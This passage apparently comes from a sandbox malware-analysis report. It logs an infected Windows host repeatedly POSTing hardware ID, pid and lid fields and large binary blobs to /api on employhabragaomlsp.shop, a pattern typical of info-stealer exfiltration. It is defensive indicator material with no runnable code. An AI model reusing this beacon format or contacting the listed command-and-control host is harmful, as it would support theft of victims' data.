2024-05-24 07:43:17 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 07:43:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	49985	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:17 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 13630 Host: employhabragaomlsp.shop
2024-05-24 07:43:17 UTC	13630	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 35 45 45 30 34 45 36 36 37 37 43 46 31 39 43 31 45 33 46 33 44 30 34 44 33 45 43 31 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CC5EE04E6677CF19C1E3F3D04D3EC123--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 07:43:18 UTC	812	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=23eikj9hhba4m91eprg6pvfk5s; expires=Tue, 17-Sep-2024 01:29:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=j0v%2FMsxkRR3mnnCOe9p7KKUgHwGkkSjH8M3pSk6I%2B%2FzShDelLUHmRugQWrRZyO1rEfCk3nlvyR6akASEcAUZoPVuEPmBcPSbpfzsDdoNHE4aAdZNBHFxHIZF2sOc7IKviU9MC4ozopBDng%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba7696f4843c5-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:43:18 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 07:43:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	49986	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:18 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1407 Host: employhabragaomlsp.shop
2024-05-24 07:43:18 UTC	1407	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 35 45 45 30 34 45 36 36 37 37 43 46 31 39 43 31 45 33 46 33 44 30 34 44 33 45 43 31 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CC5EE04E6677CF19C1E3F3D04D3EC123--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 07:43:18 UTC	812	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=aipgmmh51usrvv65bs6teuvppc; expires=Tue, 17-Sep-2024 01:29:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Clu9wQNlVu37ixYMUtvBbJLTcujOjgDAqjYFc8pkoy9Nc5jAk9zMtPJl8eTzCwFSZsorTyGYGZb1zPBualJUH%2BI5w073FcnTaOleZrzLCDM6PiCsRRdeaV%2BC17IVfAtHiIaxH%2Fv1NgSJ0Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba76b3ebf4338-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:43:18 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 07:43:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	49987	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:19 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20432 Host: employhabragaomlsp.shop
2024-05-24 07:43:19 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 35 45 45 30 34 45 36 36 37 37 43 46 31 39 43 31 45 33 46 33 44 30 34 44 33 45 43 31 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CC5EE04E6677CF19C1E3F3D04D3EC123--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 07:43:19 UTC	5101	OUT	Data Raw: 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 Data Ascii: `M?lrQMn 64F6(X&7~`aO
2024-05-24 07:43:20 UTC	814	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5oip203r9839vbo4h5sjurhpnp; expires=Tue, 17-Sep-2024 01:29:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=R6G%2FkR68ukfpqwfew4MygCbZ3oGtu1K6d3n5v%2B87mJIjuijDGBVczBFsFeMR5Nt1OLfhKnIsvBinMAjnNhzAKkC2zL5UBaEkIDONd7w9fNa5R1P%2BS6Sws5ys6JgJpQNsxhi3w%2FWCVEKbAw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba773cca18c35-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:43:20 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 07:43:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	49989	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:20 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20432 Host: employhabragaomlsp.shop
2024-05-24 07:43:20 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 35 45 45 30 34 45 36 36 37 37 43 46 31 39 43 31 45 33 46 33 44 30 34 44 33 45 43 31 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CC5EE04E6677CF19C1E3F3D04D3EC123--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 07:43:20 UTC	5101	OUT	Data Raw: 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 Data Ascii: `M?lrQMn 64F6(X&7~`aO
2024-05-24 07:43:20 UTC	812	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=o3jupclp0en23pm6lk5qjaglhc; expires=Tue, 17-Sep-2024 01:29:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UsgShQdPqiFwYqHHBGsCavEM%2FX5PuTj%2FC92Mgcf3%2BFZuqVJ3OgF3TTB50Nw8ShoHZvuOgRYvgQUYgEvXe3YAmotcyUrLwjOVSCwZPNsf9ymxoh3ZOqQuxS1N57RQelHr78oRUSnOUm2W5w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba77708854264-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:43:20 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 07:43:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	49990	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:20 UTC	290	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 562672 Host: employhabragaomlsp.shop
2024-05-24 07:43:20 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 35 45 45 30 34 45 36 36 37 37 43 46 31 39 43 31 45 33 46 33 44 30 34 44 33 45 43 31 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CC5EE04E6677CF19C1E3F3D04D3EC123--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 07:43:20 UTC	15331	OUT	Data Raw: 3e 46 2a d8 6e 32 17 3f 62 07 0a f8 70 9a 68 b8 eb a7 2b f3 31 c4 e0 a1 84 bc 4d 87 1a 6e 7f 3d d8 0f 04 c4 a8 e9 b7 b7 7b 25 0a ca b7 2e b6 32 8c 2f cb 7b e3 af f2 69 a9 72 e1 fa 39 46 d3 5f 6b be 62 f4 25 49 93 74 87 4c fe 64 4f 6a fc b4 0d c8 56 df 5e b2 b1 8d b0 3e 80 e2 a4 b5 72 47 2b 0a 13 36 9c f2 f1 61 b1 eb 02 b3 1c d3 f6 a8 50 4b 0c 89 a0 e6 86 44 31 a1 71 eb 53 ba d4 54 1e ab 2f d4 a7 28 6a f9 0a d8 e4 3e 94 d7 bd 6b 12 52 2c 6b 05 91 47 eb 6b bf 3c fc c2 1d d5 77 8b dc ba 70 2b c0 fa 63 72 a4 71 78 58 2f ee e4 5e 1a 2a a9 d8 fd cb 97 ac dd 32 85 6b f0 a1 89 2c 96 79 2d 6d 3d 0f 0b 71 bf fa 20 a9 d1 ea 51 1f ce 65 6d b6 e2 d2 68 68 ca 5e eb df 69 7a 9d 5e 2b 40 00 90 80 81 21 d5 1f 7a 76 fc 52 3b 5d 0c 22 db c1 6b 9b 35 d7 c6 31 c9 59 85 8e ad Data Ascii: >Fn2?bph+1Mn={%.2/{ir9F_kb%ItLdOjV^>rG+6aPKD1qST/(j>kR,kGk<wp+crqxX/^2k,y-m=q Qemhh^iz^+@!zvR;]"k51Y
2024-05-24 07:43:20 UTC	15331	OUT	Data Raw: 24 5d f9 00 3e 68 2e b1 d2 a5 52 bc 53 00 a4 84 7d 3d 01 a9 6d f9 60 a8 0f 10 a5 bc 35 f2 63 73 dc 82 f1 c8 6e 07 d3 94 51 6b 2c 85 a0 59 7e 90 9d e4 b9 8b 46 e3 c3 08 9c af e7 27 c4 10 49 31 ce 0e ac 82 77 04 73 47 cb 3c de 2e cd ea 71 8d 7e 38 e9 cf 56 5b f1 ef de d4 fa 88 5b 65 1a 56 4e e9 e7 33 83 bf 80 11 53 c8 00 21 6c 9d 02 ca 71 a8 e3 68 82 2d 74 cb e8 11 b6 9b 48 9e 11 01 8d 64 9a 6f 55 72 ce 77 43 d2 eb eb ef f0 71 26 a2 df 03 96 78 cb d6 13 ad cf 96 7a ee d9 c8 fb 7c b7 ed fb 9b c9 aa 74 42 a7 3b 1e 53 c2 bb f9 1a 0e 7e 16 56 f3 f2 2d b9 a0 06 da c5 c7 a1 6f fa b9 1f c0 c2 6d 47 ce 6d 27 a6 7d 69 cb 89 a1 d8 67 5d b0 8f b8 ac 96 f4 5b a9 3f f2 d0 4d de 4d 96 5a 2b 26 9b e7 ff aa 64 14 78 ba 12 bf f9 b8 5d 6c 98 c2 9d 14 b0 ba 6b 12 f9 5d 32 fb Data Ascii: $]>h.RS}=m`5csnQk,Y~F'I1wsG<.q~8V[[eVN3S!lqh-tHdoUrwCq&xz\|tB;S~V-omGm'}ig][?MMZ+&dx]lk]2
2024-05-24 07:43:20 UTC	15331	OUT	Data Raw: e5 04 a2 85 26 bb 6c 55 dd e8 31 21 e5 ac e8 35 51 d0 bd ee f3 6a 03 3b 9f db 51 8b 55 ba ef 58 b9 21 d2 ed 57 2f 4f 4d 67 ac b4 6c d0 74 97 92 48 c9 5b d3 9a a2 59 bb d2 2e ed 75 3e 61 65 66 23 d7 d1 f6 dc cc 23 0e 25 00 f4 0c 4d de c9 65 da 04 db 9e 3f 22 94 ba e5 ee 8e 79 68 20 4c cf 01 14 ef 8d 73 be e2 1f 2c cd 73 e7 93 42 bd b2 e3 b1 51 08 b6 3f 61 05 65 45 38 c3 31 f7 17 05 3e 5e 3e 56 c1 0b 76 a1 0a 60 cb 3e 38 59 2c 0a 63 96 59 c1 6a 9d 31 23 e6 59 d4 d5 2a ff 96 8e 0e bf 51 9e 39 7b 7a 1f 89 db 08 f7 f9 2f 64 4e ff 01 f3 65 7b ba a6 ab e5 5f fc ea 2c a8 52 2c 63 45 e8 1d 64 c3 6a 63 49 97 e4 7d 9b 06 ab 0d a3 03 ab 78 f8 df 9f 12 f0 6f 91 9b 87 e7 98 47 e4 12 a6 d4 82 04 66 ca e1 4b c0 b7 a5 f0 ef d8 b7 3e 73 19 0f 23 ac 52 2f 82 ef 03 02 bf 06 Data Ascii: &lU1!5Qj;QUX!W/OMgltH[Y.u>aef##%Me?"yh Ls,sBQ?aeE81>^>Vv`>8Y,cYj1#Y*Q9{z/dNe{_,R,cEdjcI}xoGfK>s#R/
2024-05-24 07:43:20 UTC	15331	OUT	Data Raw: cb 06 ec 85 1e 4d 23 f3 f0 b6 ed 89 d7 98 64 7d 3a 49 a9 bf b3 61 a8 20 ef ce 51 1f 3a a1 e6 e1 84 54 7f 51 76 c9 4c ca 2f aa 31 7d 23 e5 1a 3f 63 c3 8d cb bc 5f 4e 21 3b f3 8f 38 88 a8 e8 58 1d b0 3a 4d e0 d1 eb ec e7 81 1b 86 04 02 71 57 8f d9 5e e2 a1 2c 3b ad 9d da bf 49 02 23 52 ae f2 3d 70 e0 68 66 20 ee 00 e9 87 3e 9e 94 55 b9 51 46 8a f1 ae 09 e0 9b b4 a3 1b 33 30 cf ac 9b 7f 0a 8a 30 cd 3a e4 63 c7 76 d7 a7 6a b3 7c 93 3c 54 49 f2 d8 46 3c 73 cd f3 91 8d c4 80 a2 18 af 92 79 03 29 4b 36 8d c6 78 9d 52 1f a6 d3 63 e9 0e ec 41 1e 62 33 d5 e3 07 4e 64 4b f5 45 04 b0 ba ea f8 f5 84 ad 1c 42 43 9a 7c e6 59 55 02 45 3f 61 83 40 2e 21 b9 ca bd 03 cb 1f d2 b0 f1 9a bd 4b 09 11 9f c4 fe b5 a5 9b d9 c8 5f e6 0c 5e ed 89 e4 da 10 41 1d c6 f1 32 e3 c2 c5 e2 Data Ascii: M#d}:Ia Q:TQvL/1}#?c_N!;8X:MqW^,;I#R=phf >UQF300:cvj\|<TIF<sy)K6xRcAb3NdKEBC\|YUE?a@.!K_^A2
2024-05-24 07:43:20 UTC	15331	OUT	Data Raw: 55 16 98 55 d5 c9 c2 c9 63 6d 25 ee 0a 24 7b da c4 6c 8b 0e 1c 20 70 9d 91 15 08 6e 51 b3 d2 39 0d 9d c5 95 84 85 84 4c 34 68 7c 4c 8b 89 08 bb 75 d0 97 bd 25 f7 83 01 64 f6 82 18 c0 5a 26 fb 70 fe 64 66 be 07 56 bd b4 5f e5 5f 7e 4d 7c 14 18 43 d1 fb 7a 5c 1a 8f 60 ad 3d 2e 1e b7 9e ea f1 a9 91 35 98 5f 64 48 f2 80 73 77 fd b3 1f 46 da f1 7b bc 25 b5 fb a1 94 11 a4 62 fc 7a aa 30 d3 0e f8 8e d3 f2 0f 01 ea fd 02 bd e4 45 0d 8c 4d 5a fc de 87 f2 96 97 f1 57 1f 9b 4b f2 7a f9 63 67 ef 5e f5 18 38 d5 76 1d 3d 1b 48 24 d6 19 68 e2 60 0d 01 b0 2a cd e6 13 02 fc 9f a0 ff 73 de 52 05 94 51 7c 5e 40 74 0b 27 38 1d 45 99 da d9 c4 aa 7c 40 90 2b b2 f6 80 20 95 42 79 e5 c5 cf 0c 00 14 0a 12 32 7a ef f4 af 9c 64 5a 9b a7 68 e5 ab 06 58 ac dd bd bc fd 47 07 5d a2 b5 Data Ascii: UUcm%${l pnQ9L4h\|Lu%dZ&pdfV__~M\|Cz\`=.5_dHswF{%bz0EMZWKzcg^8v=H$h`*sRQ\|^@t'8E\|@+ By2zdZhXG]
2024-05-24 07:43:20 UTC	15331	OUT	Data Raw: a1 70 22 1b 37 1e 09 42 ac a6 e1 37 36 45 d7 2c 12 f4 fa d9 6e 3d 86 42 75 a3 ed 9d 09 c2 24 e0 dd dd d8 de 6e db b4 06 6d 63 2c 00 e1 c3 98 6f b3 ba 9d 66 43 c9 59 6e fc 71 24 3e d8 63 77 a0 3a 4a f1 40 44 4b f1 fa 4a 70 dd 57 8b d1 30 b5 0f 8d bf cf 11 c6 e4 25 ce 61 6d ad 4a 44 2f 62 c0 ab b5 28 b0 76 5f b4 d2 a4 91 f9 59 b8 b7 71 77 f3 55 a1 7e 85 82 b6 ef bc a5 2f 9d b6 3e df cd ec 0b 97 90 a0 ef cd b0 6e 5d db a4 aa ec dd b9 c4 5a a9 bf c0 98 53 69 4d b9 e1 65 0a 15 17 7e fe 24 ab 06 67 4d e2 83 b5 ef ed c5 d8 8d 8e 85 f7 ba d9 98 ae d6 05 d9 6d f6 6f 47 f5 8e 88 4e 3e f8 d1 50 73 6c 24 03 ae f7 be c2 4b b6 13 de b0 f5 32 b7 f1 de cf 9d f9 a9 bc 6b 0f 26 c6 2a e5 27 f0 df 79 81 8d cc f3 0b 60 ad 2d 6b fc 27 33 20 6f ad 60 12 1c e3 73 0d fd c4 0d 34 Data Ascii: p"7B76E,n=Bu$nmc,ofCYnq$>cw:J@DKJpW0%amJD/b(v_YqwU~/>n]ZSiMe~$gMmoGN>Psl$K2k&*'y`-k'3 o`s4
2024-05-24 07:43:20 UTC	15331	OUT	Data Raw: 8d 54 b8 35 d6 72 a6 25 5d 56 53 8b 4d bd 26 ab f9 34 45 67 ff ab 57 41 2b c3 ea a4 88 b7 f2 85 89 11 bd a7 05 23 f6 51 01 88 2a 5b b5 39 48 e4 1f 73 ec fd cf 2f 74 b1 fe 1d 07 94 06 c3 54 f9 ef 76 56 73 27 a8 01 d6 5d 27 66 c6 ab 96 33 b8 c1 c6 23 61 1a b5 2a 2a e9 09 c2 6a a0 a5 9b 76 db 57 0f 1e 1b 3b a9 34 16 2a c7 bc f7 8f 02 83 a4 91 fe d4 08 47 5f 6a 77 cc aa fd 40 a1 ed d2 fe e9 14 a1 78 bd a8 f6 90 33 0c be 35 d1 95 b0 2a 8b eb cb 3d 5f 15 1b ec 58 35 50 fc a1 fb 65 a2 51 44 fb c8 9f 1d 0d 91 39 fe eb a0 ed 1a 8c b2 7a 30 0c 0d 99 c8 a9 d7 04 d3 f6 a6 cf f8 30 1e 60 34 9d 7b 69 c3 6b c3 47 5c e4 1b 6a 6d 80 23 3d 38 22 4b 14 2f 7a c6 a8 e1 ae cf ef 00 21 dc e8 20 63 75 7e ac 9f 87 3c 76 47 d4 3e 7f 2a 98 6e 1e af 10 57 a5 34 5d 18 66 41 f3 c9 f1 Data Ascii: T5r%]VSM&4EgWA+#Q[9Hs/tTvVs']'f3#ajvW;4G_jw@x35=_X5PeQD9z00`4{ikG\jm#=8"K/z! cu~<vG>nW4]fA
